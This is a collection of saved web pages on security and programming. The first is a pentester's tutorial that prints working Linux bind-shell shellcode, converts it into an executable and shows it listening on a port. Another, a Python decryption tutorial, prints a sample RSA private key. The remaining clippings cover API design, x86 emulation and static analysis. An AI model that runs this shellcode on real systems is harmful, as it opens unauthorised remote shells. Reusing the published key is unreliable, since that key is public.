﻿http://5x5sec.blogspot.com/2012/02/fun-with-shellcode.html 
5x5 security: Fun with Shellcode
Created:
2/23/2012 10:11:01 PM
Updated:
2/23/2012 10:11:03 PM
Author:

Tags:
shellcode


Fun with Shellcode 
Giving the nature of the beast and the three of us like to explore and play with many varieties of ways to exploit things, I thought that I would dive a little into playing with shellcode.

The reason I thought that I would talk about this are muti factor. Let me entertain some questions. If you are a pentester and you do not have your handy dandy metasploit to generate your payload for you, what do you do? do you trust that "\x90\x6a\x66\" that you pulled from exploit-db or others without even seeing the assembly? 

With these questions in mind let's dive in and explore some the pitfalls and issues that you will probably encounter on your way to the shell code playground. 

So you want to play with shellcode huh?

So lets set the stage that you in the need for some shell code to do a bind shell on linux but you don't have a shell code generator. So casually make your way over to exploit-db or shell-storm and you find some shellcode but you are not sure how to use it or what it does. How do you test the shellcode to make sure that it works? Ok so I take a deep breath and browse over to another page that has the objdump or the binary. For reference this is what we will first be working off of http://www.shell-storm.org/shellcode/files/shellcode-515.php . Ok there are many approaches to tackling this and I will go the most manual way for the sake of learning. The first thing that I want to try is taking the assembly and putting it into my own file and nasm the thing. So with this in mind I copy the text from the page to test.asm file  and I write a quick oneliner (yeah I know oneliners are for the bar not computers, meh).

$ cat test.asm | grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|cut -d '"' -f 2 |paste -d '' -s


\x6a\x66\x58\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x52\x68\xff\x02\xfc\xc9\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x43\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x56\x89\xe1\x43\xb0\x66\xcd\x80\x93\x6a\x03\x59\x49\x6a\x3f\x58\xcd\x80\x75\xf8\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80


Let me step back for a second, why didn't we just dump the assembly and compile it and run it. let's do this and see what happens. The first thing is that we need to strip out all the junk so that it looks like good assembly.

$ cat test.asm | cut -d '/' -f3 | sed 's/%//g' | sed 's/\$//g' | sed 's/<//g' | sed 's/>//g' > 515.asm

This is gives us what looks like some good code but looking at the code I do somethings that are a little off  " 0x66,al"  this looks a little backwards but lets just roll with it and see. So we now compile it to see if we can execute it .

$ nasm -f elf 515.asm 
515.asm:21: error: invalid combination of opcode and operands
515.asm:23: error: invalid combination of opcode and operands
515.asm:31: error: invalid combination of opcode and operands
515.asm:47: error: invalid combination of opcode and operands

well taking a look at 515.asm we can see that at these locations we do have an issue with "0x66,al" we will get into this some other time, so after a little manipulation we have fixed the issue.

$ cat 515.asm | sed 's/0x66,al/al, 0x66/g' | sed 's/0xb,al/al, 0xb/g' > 515b.asm

$ nasm -f elf 515b.asm


$ file 515b.o 
515b.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped



The final step is that we need to get it working so lets do this.

$ ld -o 515b 515b.o 
ld: warning: cannot find entry symbol _start; defaulting to 0000000008048060


$ ./515b 
Segmentation fault

So what happened? We did everything right didn't we? according to all the tutorials and such yeah we did. Having a look at the "objdump -d 515b" the assembly things looks good. We could dive deeper into this but instead we are just going to power forward and get this thing working.  How we are going to do this is standing on the shoulders of other smart people. We are going to take a python script that was written by Mario Vilas and tweaked by Anand Sastry that utilizes CORE's InlineEgg package. See the references for all the links. Getting inlineEgg installed is as easy as "python setup.py install" . Once you have inlineEgg installed all you need to do is download the shellcode2exe.py from here: http://zeltser.com/reverse-malware/shellcode2exe.py.txt . Once you download it you just need to change the extension by removing the .txt or if you choose to just copy the code to your own file .py

The usage is brilliantly simple:

$ python shellcode2exe.py
Shellcode to executable converter
by Mario Vilas (mvilas at gmail dot com)

Usage: 
    shellcode2exe.py payload.bin [payload.exe]
        [--arch=i386|powerpc|sparc|arm]
        [--os=windows|linux|freebsd|openbsd|solaris]
        [-c Allow for ascii shellcode as a cmd line parameter]
        [-s Allows for ascii shellcode in file]

Options:
  -h, --help            show this help message and exit
  -a ARCH, --arch=ARCH  target architecture [default: i386]
  -o OS, --os=OS        target operating system [default: windows]
  -c, --asciicmd        enable ascii entry in input file
  -s, --asciifile       enable ascii entry in command line


So with this we will take the assembly and see what we get.

$ python ../shellcode2exe.py -o linux -c "\x6a\x66\x58\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x52\x68\xff\x02\xfc\xc9\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x43\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x56\x89\xe1\x43\xb0\x66\xcd\x80\x93\x6a\x03\x59\x49\x6a\x3f\x58\xcd\x80\x75\xf8\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" 515c
Shellcode to executable converter
by Mario Vilas (mvilas at gmail dot com)

Treating first parameter as \x encoded shellcode
Generating executable file
Writing file 515c
Done.
 
$ ./515c


$ netstat -pant 
tcp        0      0 0.0.0.0:64713           0.0.0.0:*               LISTEN      26789/515c 

Woot! we have a bind shell listening on 64713 so this method works. This was with the shellcode taken from page what about from the assembly we compiled our self. lets go for it but take it from 515b , the file that didn't work.

$ objdump -d 515b |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

"\x68\x66\x00\x00\x00\x58\x31\xdb\x53\x43\x53\x68\x02\x00\x00\x00\x89\xcc\xcd\x80\x31\xd2\x52\x68\xff\x02\xfc\xc9\x89\xcc\x68\x10\x00\x00\x00\x51\x50\x89\xcc\x89\xf0\x43\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x56\x89\xcc\x43\xb0\x66\xcd\x80\x93\x68\x03\x00\x00\x00\x59\x49\x68\x3f\x00\x00\x00\x58\xcd\x80\x75\xf5\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xdc\xb0\x0b\xcd\x80"


With this you will see that nasm interpreted a few things a little wrong by doing a "push immediate word" instead of a "push immediate byte" . Also we can see that we needed to flip the ecx,esp to give us our "e1" instead of "cc". So we make the necessary changes and delete the null bytes since those are not needed and we end up with the correct shellcode that gives us our nice binary with shellcode2exe.py.

Given the exercise you can now begin to use assembly files to test locally before you deploy on a real engagement and allow you to write or manipulate code on your own. It also gives you the ability to overcome a few hurdles that many people come across when playing with shellcode.

In the coming posts I have created a TinyCore remaster that includes the custom program that we designed along with the above code so that you can get you hand dirty on a boot-able image.

References:

http://zeltser.com/reverse-malware/convert-shellcode.html
http://breakingcode.wordpress.com/2010/01/18/quickpost-converting-shellcode-to-executable-files-using-inlineegg/
http://zeltser.com/reverse-malware/shellcode2exe.py.txt
http://oss.coresecurity.com/projects/inlineegg.html
http://www.shell-storm.org


﻿http://www.subbu.org/blog/2011/11/apis-are-a-pain?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+SubbuDotOrg+%28subbu.org%3A+Subbu+Allamaraju%27s+blog+on+Web%2C+Web+Services%2C+and+some+Cycling%29 
APIs are a Pain
Created:
11/19/2011 8:47:36 PM
Updated:
11/19/2011 8:47:36 PM
Author:

Tags:
programming api



subbu.org
HTTP, REST and some Cycling


APIs are a Pain
by SUBBU ALLAMARAJU on November 18, 2011 · 10 COMMENTS


I don’t like writing client apps that use APIs. Writing HTTP client code to talk to APIs is verbose, repetitive, chatty and slow. This is in addition to latency and bandwidth constraints and core functionality of the client app – such as building a snappy UI or supporting some other business use case.
First – the interface mismatch. APIs are almost always designed from the producer’s point of view. If I’m building an API, I would look at my data model, my performance/scalabilty requirements, and design the API to meet the use cases that I think are the most common across all consumers my of my API. That is, my goal would be to maximize the use and reuse of my API. In this process, I am bound to tradeoff special requirements of my consumers and try to stick to a common denominator. This creates a mismatch between what the consumer needs and what I’m offering. Here is an example.
A client app needs to search a list of products to get their IDs, some details and some user generated content like reviews for each product. There are three APIs that the client needs to interact with to get this data – one to search products, one to get details for each product, and another to get reviews for each product.
This is not a made up or hypothetical example. What the client needs is this.
A single API, that takes a keyword, and returns certain fields for each product found – no more or no less.
What the client got are three APIs that give some data that includes what the client needs plus some more. The API design makes sense for the producers of these APIs – search folks are focused on indexing and serving low latecny results, the details API wants to serve all the gazillion details that are relevant to products, and the reviews API wants to focus on low latency writes and potentially stale reads. But, for the consumer, an ideal interface is one that gives just the fields it needs with one single request.
Second – writing client code is slow, repetitive and verbose. For the above example, here is what the client needs to do:
§ Call the search API to find products, and extract product IDs from the response.
§ Call the details API n times – once per product ID – to get the details, and then extract the fields needed from the response
§ Call the reviews API n times – once per product ID – to get reviews, and the extract the fields needed from the response
Unless you got canned SDKs for these APIs, writing code to make 2*n HTTP requests and process the responses can take a while. In one of the Java implementations I looked at, the code was over 300 lines long – that was after excluding the request making and response parsing code which was already factored into into supporting libraries. If the client needs to implement ten such use cases, you got 3000 lines of code just doing data retrieval.
Third – Getting enhancements you need from producer teams slows you down. For my example above, having a bulk API for details and reviews simplifies the client to some extent. But for both good and bad reasons, API changes that the clients need don’t happen immediately. They take time, usually some sprints. Sometimes never. The reality is that teams have their own priorities. Getting a single API for the above won’t likely happen!
Fourth – requests for use cases like this are chatty. Three hundred lines of code may not be a big deal, but making so many HTTP requests is. Here is a common evolution of an implementation. To simplify the discussion, let’s assume that we have bulk APIs for details and reviews.
Take 1: Use blocking IO to make 3 HTTP requests.

Code complexity of this implementation may be low, but it takes sum(t) where t is the time for each API request.
Take 2: If latency is a concern, parallelize the requests. After the search API returns product IDs, you can make 2 requests in parallel and join the responses.

Code complexity now increases, but it only takes t1 + max(t) for the whole retrieval, where t1 is the time taken to search.
Now imagine that the client needs to call yet another API based on review IDs.
Take 3: Orchestrate the retrieval based on dependencies.

In another example I’ve seen recently, a native app makes 17 HTTP requests with some dependencies before painting the UI. The code is over 3000 lines long! Of a team of 3 developers, one developer is dedicated to writing and maintaining this code.
Now move the client farther from the API servers. In addition to the code complexity, the client will have to deal with cost of the network. You may want to move all the request dance to some middle tier that is closer to the API servers than the client.

Fifth – consistent RESTful APIs don’t matter as much as we think. I would love to see every API to be RESTful, consistent, hypertext driven, and more importantly, interoperable. The reality is that getting consistent APIs is hard – particularly those that are done by distributed teams. For the record – I vehemently hate SOAP APIs and the SOAP mindset. I dislike RPC-style operation names tunneled over HTTP. I frown and cringe whenever I see unnecessary custom headers and complicated formats. I wish POST+XML goes away. I wish every API gets rewritten to the modern understanding of HTTP and REST, serving JSON.
But I would rather spend my time enabling interoperability than preaching for consistency.
Hypermedia does not help either. Hypermedia can help navigation among resources, but navigation is not a concern in the above use case. The client app’s challenges are aggregation, parallelization, and orchestration of forks and joins.
So, what can we do about it?

Why would I write a long blog post if I have nothing to offer?
I’m excited to reveal that, at eBay, my team has been working on a new platform to simplify use cases like the above:
§ Bring down number of lines of code to call APIs
§ Automatically orchestrate API calls as needed
§ Create new consumer-centric APIs that wrap existing producer-centric APIs
§ Cut down bandwitdh usage and latency
Best of all, this platform will soon be on github. If you are interested in taking a sneak peek and want to provide feedback, please email me (subbu/at/subbu/dot/org) with your github ID



﻿http://3stepsbeyond.co.uk/2011/07/a-python-equivalent-to-phps-openssl_open-function/ 
3 Steps Beyond | Blog | A Python equivalent to PHP's openssl_open() function
Created:
8/1/2011 7:55:56 AM
Updated:
8/1/2011 7:55:56 AM
Author:

Tags:
python web crypto programming


A Python equivalent to PHP’s openssl_open() function
1:32 pm in Tech by Steve Criddle
For the project I am currently working on, we had a need to decode data in Python that had been encoded using PHP’s openssl_seal() function. Python does not appear to have a direct equivalent function.  The M2Crypto package can decode quite a few different formats, but openssl_seal() and openssl_open() aren’t included.
Fortunately, M2Crypto contains the components required to decode this data, but you have to jump through a few hoops to get there.
Symmetrical and asymmetrical encryption
There are two main types of encryption – symmetrical and asymmetrical.  Symmetrical encryption uses the same mechanism to encrypt and decrypt the data.  Typically you just use the encryption mechanism a second time on the encrypted data to get back to the plaintext version of the data.  The key point is that the process is reversable if you know the key.
Asymmetric encryption uses two keys – a public key and a private key.  Once you have encrypted your data with the public key, you cannot reverse the process.  The only way to decrypt the data is with the private key.
Symmetrical encryption tends to be a fast process.  Asymmetric encryption is fairly processor-intensive – especially if you have a long key.
If you are encrypting small amounts of data, you can probably get away with using asymmetric encryption.  But if you want to encrypt larger amounts of data there is a more efficient way to handle the encryption – and this is what openssl_seal() does.
How openssl_seal() encrypts data
openssl_seal() uses two encryption mechanisms.  It uses a symmetrical encryption mechanism called RC4 to encrypt the data, having first picked a random key for the encryption.  Then it uses asymmetric encryption to encode the key.  This gives the benefits of public/private key encryption without using large amounts of processor time.  The processor-intensive portion of the operation is limited to the encryption of the RC4 key, which is relatively short.
openssl_seal() allows data to be encoded for multiple recipients.  In that situation, it encodes the data once using RC4 and then encrypts the key for each recipient using their public key.  The resulting encrypted key is called an envelope.  You would then send the encrypted data and the appropriate envelope to each recipient.  If you send the wrong envelope to the wrong recipient they will not be able to decode it using their private key, and so they will not be able to decode the RC4 data.
Some example data
This data comes from my previous tutorials – OpenSSL and PHP (parts one and two).  For the purposes of this tutorial I shall assume that the reader is a Python programmer rather than a PHP programmer, so I’m only showing the data that we will be decrypting rather than the PHP code used to create it.
You will need the M2Crypto package installed in order to decode this data.
Firstly we need our private key:
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDVK04tGOVw+ya5s1t7CeRYrAyLFd/YudfwOx6eHB+D1rFjj5q8
phMTdVDr+XjS8EVVNJzcQhuoYeiyLS2jeZyd6VIiT13W5spcOd8icMp0zWjQvFSH
z3iQadyIfu2b6H/uABRA3q8bXzXLlpQ70RurSnu1a6K/jRDlpdI1JIIi0QIDAQAB
AoGARqDMjCCdlKuCDzEf9Eo4wDBxD3w16Ibaxxuvb09+GZ5+s7AW4r5bv6y1HRpR
MAKv1iVSe5/jrgySnsZdQra+bvC1sjaSbBrTtdMRlWaWcJ2eK5eCyJopDA2QQMF2
4pMjukA/AkFPdAkvlAv2AtRnBqtzxdgvQXR01YnBhx8oTuECQQD0LLm5GNQSCAM2
AyNRiKm9GJ23KEdyHNsgM6bH+7npKySbxB6VjzySbObVZ3iP4HGxmsJWXdxnq0Ol
NGbzUixVAkEA334sbuJ9K0wXDgFjQt0Sb/0Xe7+e1exRNc1m9t9ZWvTlo94rYitK
Vl/PU5PpoxA6NGDyMATBhoQ9H5ZF93jYjQJAZI3qqhRUeVx9Xgfqyo/6PtpdUOkw
iwjhIKDExUSgKirPN6qLYdIMAs0APtAOsUmf6KEv+PtMYhEAmY87+mZTxQJAAYVc
TAziiS7lYUUFJelXPMfeJwtwy0fmbZVORBPVCdds0KasaOieguP4BzuUdXWgz8Zx
H36Iyp+Pwu1E4KBD6QJBAPP4knEVJfbFl+Jhl9DbBfvWtx4vTvKdHQaMp3XgSIzg
VQZheyFObscs3lsaBF3jSb3nkF5a06NwR2EcmdpZc7Q=
-----END RSA PRIVATE KEY-----
This will typically be stored in a file or a database.  For this example I will not show the public key, which was used to encrypt the data.  It is not required to decode the data.
Next we have the encrypted data (I have base64-encoded it for readability):
Ib+lvWE=
and finally, the envelope (again, base64-encoded for readability):
g3AGJK8DMHejGjq6hZ2iUTFvyV0cdbHJKJUEFgw6LEco/6vot9biLLGp3AdnKYC2J7fxU/s6kMM5DpiW
9IlU4M0+deH+1I7qsPuui0VfdjqULw9QyO6IzV14HvBR9YRen0TCZm3ezH+flSgiMCw9z8Egs0DzuaEV
zha8CHuE00c=
In this example, the data that I’ve encrypted is very short.  But if the data had been longer, the encrypted data would be longer but the envelope would not.  The encrypted data is typically the same length as the plaintext data and the envelope is the same length as the asymmetric key (for instance, 1024 bits).
Decrypting the example data (envelope)
Firstly the private key needs to be loaded.  This will typically be stored in either a file or a database.  If it is in a file you can load it using a single command.  If it is anywhere else, you load the string version and then load the key from that:
1
private_key = M2Crypto.RSA.load_key('/path/to/private.key')
or
1
private_key = M2Crypto.RSA.load_key_string(key_string)
Assuming the key loads correctly, the next step is to decrypt the envelope asymmetrically:
1
2
plain_envelope = private_key.private_decrypt(cipher_envelope,
                                             M2Crypto.RSA.pkcs1_padding)
Assuming the data decrypts (you might be trying to use the wrong private key, or the data is corrupted), you get the key for the RC4 encryption.  In this example, the key (base64-encoded) is:
5oiKOiWrrws37NuB87rKGg==
Decrypting the example data (RC4)
RC4 is a stream cipher.  This means it encrypts and decrypts data on the fly, rather than all in one go.  This is why the encrypted data is normally the same length as the unencrypted data.
In the case of openssl_seal(), RC4 is used to encrypt all of the data in one go, but RC4 can be used for other purposes too.
Because RC4 is a stream cipher, you can’t do a single call to M2Crypto.RC4 to encrypt or decrypt data.  There may be additional data coming later (in the stream).  The state of the encoder changes as it encodes, so if you feed the same string in multiple times in a row, you will get different encrypted data out each time.  For this reason, M2Crypto.RC4 uses an object rather than static calls.
To decode the RC4 data, you first need an RC4 object initialised with the RC4 key that you’ve decoded:
1
rc4 = M2Crypto.RC4.RC4(plain_envelope)
If you need to reset an RC4 object back to its initialised state, you don’t need to delete and recreate the object – you can just call the set_key() method on it:
1
rc4.set_key(plain_envelope)
Finally, you call the update() method on the RC4 object to decrypt your data:
1
plain_text = rc4.update(cipher_text)
This should decrypt the encoded data back into plaintext for you.  In this case:
Hello
A complete function for decoding openssl_seal() data
A function to decode data encrypted using PHP’s openssl_seal() would look something like this:
1
2
3
4
5
6
7
8
import M2Crypto
def openssl_open(cipher_text, cipher_envelope, key):
    plain_envelope = key.private_decrypt(cipher_envelope,
                                         M2Crypto.RSA.pkcs1_padding)
    rc4 = M2Crypto.RC4.RC4(plain_envelope)
    plain_text = rc4.update(cipher_text)
    del rc4
    return plain_text
This assumes that key is the private key, already loaded using the appropriate load_key function. Note that this example has no error trapping.
An important caveat about RC4 encryption
I mentioned this in my PHP tutorial, but it is worth mentioning here too.  The asymmetric encryption mechanism includes integrity checking.  So if the data is corrupted or tampered with, the entire decryption will fail.
On the other hand, RC4 does not have such integrity checking.  It is entirely possible for data to be corrupted or tampered with and the decryption will still appear to have worked. It won’t generate an error, but the decrypted data will be incorrect.
It is unlikely that somebody tampering with the data will be able to manipulate the data in such a way as to get a specific result in the output data (since they would not be able to decrypt the data), but they could still cause things to break that generate problems further on in your processes.
A simple solution is to generate a hash of your data prior to encrypting it, using MD5, SHA1 or similar.  When you decrypt the data, it is then a simple process to split the hash from the data and check that it matches.  If the match fails, you know there is an issue with your data.
﻿http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf 
AFD.sys Dangling Pointer Advisory - Pwn2Own 2014 - Pwn2Own_2014_AFD.sys_privilege_escalation.pdf
Created:
8/12/2014 4:41:52 PM
Updated:
8/12/2014 4:41:52 PM
Author:

Tags:
kernel windows environment pointers win8


﻿http://indefinitestudies.org/2010/02/11/a-note-on-the-x86-semantics-modeling-in-jpc/ 
A note on the x86 semantics modeling in JPC « Indefinite Studies
Created:
2/11/2010 8:48:23 PM
Updated:
2/11/2010 8:48:37 PM
Author:

Tags:
reversing Java x86 programming Emulation


A note on the x86 semantics modeling in JPC
leave a comment »
JPC is a full PC emulator (à la Bochs but in Java), including the BIOS, VGA BIOS, floppy drive and other hardware components. Of particular interest to me, is the way x86 instructions are modeled and executed. It works and stays at the binary level (no fancy disassembly), and actually compiles x86 instructions to a simpler microcode language representing “atomic” instructions. This microcode language is then straightforward to execute, although a bit more complex than similar micro-languages (such as VEX, REIL orBIL).
The core of the x86 semantics is contained in the x86 to microcode compiler, found in org.jpc.emulator.memory.codeblock.optimised.ProtectedModeUDecoder.decodeOpcode(). This method takes a binary x86 instruction and decodes its prefices, opcode, modrm, sib, displacement and immediate parameters. Then it delegates the translation of the microcode to this sequence of methods: 
writeInputOperands(prefices, opcode, modrm, sib, displacement, immediate);
writeOperation(prefices, opcode, modrm);
writeOutputOperands(prefices, opcode, modrm, sib, displacement);
writeFlags(prefices, opcode, modrm);
.
For instance, if we take the binary instruction 04 42 (add al, 0×42), it is decoded with opcode = 0×04 and immediate = 0×42. Then based on these values, the instruction is translated to the following microcode sequence: 
// writeInputOperands:
LOAD0_AL
LOAD1_IB 0x42
// writeOperation:
ADD
// writeOutputOperands:
STORE0_AL
// writeFlags:
ADD_O8_FLAGS
.
Now, understanding the semantics of an x86 instruction reduces to understanding the semantics of the microcode language. For this, we need the microcode interpreter, which is org.jpc.emulator.memory.codeblock.optimised.ProtectedModeUBlock.execute(). It is a relatively simple execution language (execution-wise), with 5 general-purpose registers but with roughly 750 opcodes. The execution of the above microcodes translates to this Java sequence: 
reg0 = cpu.eax & 0xff;
reg1 = 0x42 & 0xff;
reg2 = reg0; reg0 = reg2 + reg1;
cpu.eax = (cpu.eax & ~0xff) | (reg0 & 0xff);
cpu.setZeroFlag((byte)reg0);
cpu.setParityFlag(reg0);
cpu.setSignFlag((byte)reg0);
cpu.setCarryFlag(reg0, Processor.CY_TWIDDLE_FF);
cpu.setAuxiliaryCarryFlag(reg2, reg1, result, Processor.AC_XOR);
cpu.setOverflowFlag(reg0, reg2, reg1, Processor.OF_ADD_BYTE);

﻿http://cacm.acm.org/magazines/2010/2/69354-a-few-billion-lines-of-code-later/fulltext 
A Few Billion Lines of Code Later: Using Static Analysis to Find Bugs in the Real World | February 2010 | Communications of the ACM
Created:
2/7/2010 11:16:39 AM
Updated:
2/7/2010 11:17:39 AM
Author:

Tags:
code-review code-checks static


Skip to Main Content

· Abstract
· Full Text (HTML)
· Full Text (PDF)
· User Comments (1)
· In the Digital Edition
· In the Digital Library
Article Contents
· Introduction
· Laws of Bug Finding
· Bugs
· Churn
· False Positives
· Conclusion
· Acknowledgments
· References
· Authors
· Footnotes
· Figures
· Tables
Communications of the ACM
A Few Billion Lines of Code Later: Using Static Analysis to Find Bugs in the Real World
How Coverity built a bug-finding tool, and a business, around the unlimited supply of bugs in software systems.
Al Bessey, Ken Block, Ben Chelf, Andy Chou, Bryan Fulton, Seth Hallem, Charles Henri-Gros, Asya Kamsky, Scott McPeak, Dawson Engler
Communications of the ACM
Vol. 53 No. 2, Pages 66-75
10.1145/1646353.1646374

W. Bradford Paley's CodeProfiles was originally commissioned for the Whitney Museum of American Art's "CODeDOC" exhibition and later included in MoMA's "Design and the Elastic Mind" exhibition. CodeProfiles explores the space of code itself. coDEProFiLES” by W. braDForD PaLEy, httP: //DiDi.coM
In 2002, Coverity commercialized3 a research static bug-finding tool.6,9 Not surprisingly, as academics, our view of commercial realities was not perfectly accurate. However, the problems we encountered were not the obvious ones. Discussions with tool researchers and system builders suggest we were not alone in our naïveté. Here, we document some of the more important examples of what we learned developing and commercializing an industrial-strength bug-finding tool.
We built our tool to find generic errors (such as memory corruption and data races) and system-specific or interface-specific violations (such as violations of function-ordering constraints). The tool, like all static bug finders, leveraged the fact that programming rules often map clearly to source code; thus static inspection can find many of their violations. For example, to check the rule "acquired locks must be released," a checker would look for relevant operations (such as lock() and unlock()) and inspect the code path after flagging rule disobedience (such as lock() with no unlock() and double locking).
For those who keep track of such things, checkers in the research system typically traverse program paths (flow-sensitive) in a forward direction, going across function calls (inter-procedural) while keeping track of call-site-specific information (context-sensitive) and toward the end of the effort had some of the support needed to detect when a path was infeasible (path-sensitive).
A glance through the literature reveals many ways to go about static bug finding.1,2,4,7,8,11 For us, the central religion was results: If it worked, it was good, and if not, not. The ideal: check millions of lines of code with little manual setup and find the maximum number of serious true errors with the minimum number of false reports. As much as possible, we avoided using annotations or specifications to reduce manual labor.
Like the PREfix product,2 we were also unsound. Our product did not verify the absence of errors but rather tried to find as many of them as possible. Unsoundness let us focus on handling the easiest cases first, scaling up as it proved useful. We could ignore code constructs that led to high rates of false-error messages (false positives) or analysis complexity, in the extreme skipping problematic code entirely (such as assembly statements, functions, or even entire files). Circa 2000, unsoundness was controversial in the research community, though it has since become almost a de facto tool bias for commercial products and many research projects.
Initially, publishing was the main force driving tool development. We would generally devise a set of checkers or analysis tricks, run them over a few million lines of code (typically Linux), count the bugs, and write everything up. Like other early static-tool researchers, we benefited from what seems an empirical law: Assuming you have a reasonable tool, if you run it over a large, previously unchecked system, you will always find bugs. If you don't, the immediate knee-jerk reaction is that something must be wrong. Misconfiguration? Mistake with macros? Wrong compilation target? If programmers must obey a rule hundreds of times, then without an automatic safety net they cannot avoid mistakes. Thus, even our initial effort with primitive analysis found hundreds of errors.
This is the research context. We now describe the commercial context. Our rough view of the technical challenges of commercialization was that given that the tool would regularly handle "large amounts" of "real" code, we needed only a pretty box; the rest was a business issue. This view was naïve. While we include many examples of unexpected obstacles here, they devolve mainly from consequences of two main dynamics:
First, in the research lab a few people check a few code bases; in reality many check many. The problems that show up when thousands of programmers use a tool to check hundreds (or even thousands) of code bases do not show up when you and your co-authors check only a few. The result of summing many independent random variables? A Gaussian distribution, most of it not on the points you saw and adapted to in the lab. Furthermore, Gaussian distributions have tails. As the number of samples grows, so, too, does the absolute number of points several standard deviations from the mean. The unusual starts to occur with increasing frequency.
For code, these features include problematic idioms, the types of false positives encountered, the distance of a dialect from a language standard, and the way the build works. For developers, variations appear in raw ability, knowledge, the amount they care about bugs, false positives, and the types of both. A given company won't deviate in all these features but, given the number of features to choose from, often includes at least one weird oddity. Weird is not good. Tools want expected. Expected you can tune a tool to handle; surprise interacts badly with tuning assumptions.
Second, in the lab the user's values, knowledge, and incentives are those of the tool builder, since the user and the builder are the same person. Deployment leads to severe fission; users often have little understanding of the tool and little interest in helping develop it (for reasons ranging from simple skepticism to perverse reward incentives) and typically label any error message they find confusing as false. A tool that works well under these constraints looks very different from one tool builders design for themselves.
However, for every user who lacks the understanding or motivation one might hope for, another is eager to understand how it all works (or perhaps already does), willing to help even beyond what one might consider reasonable. Such champions make sales as easily as their antithesis blocks them. However, since their main requirements tend to be technical (the tool must work) the reader likely sees how to make them happy, so we rarely discuss them here.
Most of our lessons come from two different styles of use: the initial trial of the tool and how the company uses the tool after buying it. The trial is a pre-sale demonstration that attempts to show that the tool works well on a potential customer's code. We generally ship a salesperson and an engineer to the customer's site. The engineer configures the tool and runs it over a given code base and presents results soon after. Initially, the checking run would happen in the morning, and the results meeting would follow in the afternoon; as code size at trials grows it's not uncommon to split them across two (or more) days.
Sending people to a trial dramatically raises the incremental cost of each sale. However, it gives the non-trivial benefit of letting us educate customers (so they do not label serious, true bugs as false positives) and do real-time, ad hoc workarounds of weird customer system setups.
The trial structure is a harsh test for any tool, and there is little time. The checked system is large (millions of lines of code, with 20–30MLOC a possibility). The code and its build system are both difficult to understand. However, the tool must routinely go from never seeing the system previously to getting good bugs in a few hours. Since we present results almost immediately after the checking run, the bugs must be good with few false positives; there is no time to cherry pick them.
Furthermore, the error messages must be clear enough that the sales engineer (who didn't build the checked system or the tool) can diagnose and explain them in real time in response to "What about this one?" questions.
The most common usage model for the product has companies run it as part of their nightly build. Thus, most require that checking runs complete in 12 hours, though those with larger code bases (10+MLOC) grudgingly accept 24 hours. A tool that cannot analyze at least 1,400 lines of code per minute makes it difficult to meet these targets. During a checking run, error messages are put in a database for subsequent triaging, where users label them as true errors or false positives. We spend significant effort designing the system so these labels are automatically reapplied if the error message they refer to comes up on subsequent runs, despite code-dilating edits or analysis-changing bug-fixes to checkers.
As of this writing (December 2009), approximately 700 customers have licensed the Coverity Static Analysis product, with somewhat more than a billion lines of code among them. We estimate that since its creation the tool has analyzed several billion lines of code, some more difficult than others.
Caveats. Drawing lessons from a single data point has obvious problems. Our product's requirements roughly form a "least common denominator" set needed by any tool that uses non-trivial analysis to check large amounts of code across many organizations; the tool must find and parse the code, and users must be able to understand error messages. Further, there are many ways to handle the problems we have encountered, and our way may not be the best one. We discuss our methods more for specificity than as a claim of solution.
Finally, while we have had success as a static-tools company, these are small steps. We are tiny compared to mature technology companies. Here, too, we have tried to limit our discussion to conditions likely to be true in a larger setting.
Back to Top
Laws of Bug Finding
The fundamental law of bug finding is No Check = No Bug. If the tool can't check a system, file, code path, or given property, then it won't find bugs in it. Assuming a reasonable tool, the first order bound on bug counts is just how much code can be shoved through the tool. Ten times more code is 10 times more bugs.
We imagined this law was as simple a statement of fact as we needed. Unfortunately, two seemingly vacuous corollaries place harsh first-order bounds on bug counts:
Law: You can't check code you don't see. It seems too trite to note that checking code requires first finding it... until you try to do so consistently on many large code bases. Probably the most reliable way to check a system is to grab its code during the build process; the build system knows exactly which files are included in the system and how to compile them. This seems like a simple task. Unfortunately, it's often difficult to understand what an ad hoc, homegrown build system is doing well enough to extract this information, a difficulty compounded by the near-universal absolute edict: "No, you can't touch that." By default, companies refuse to let an external force modify anything; you cannot modify their compiler path, their broken makefiles (if they have any), or in any way write or reconfigure anything other than your own temporary files. Which is fine, since if you need to modify it, you most likely won't understand it.
Further, for isolation, companies often insist on setting up a test machine for you to use. As a result, not infrequently the build you are given to check does not work in the first place, which you would get blamed for if you had touched anything.
Our approach in the initial months of commercialization in 2002 was a low-tech, read-only replay of the build commands: run make, record its output in a file, and rewrite the invocations to their compiler (such as gcc) to instead call our checking tool, then rerun everything. Easy and simple. This approach worked perfectly in the lab and for a small number of our earliest customers. We then had the following conversation with a potential customer:
"How do we run your tool?"
"Just type 'make' and we'll rewrite its output."
"What's 'make'? We use ClearCase."
"Uh, What's ClearCase?"
This turned out to be a chasm we couldn't cross. (Strictly speaking, the customer used 'ClearMake,' but the superficial similarities in name are entirely unhelpful at the technical level.) We skipped that company and went to a few others. They exposed other problems with our method, which we papered over with 90% hacks. None seemed so troublesome as to force us to rethink the approach—at least until we got the following support call from a large customer:
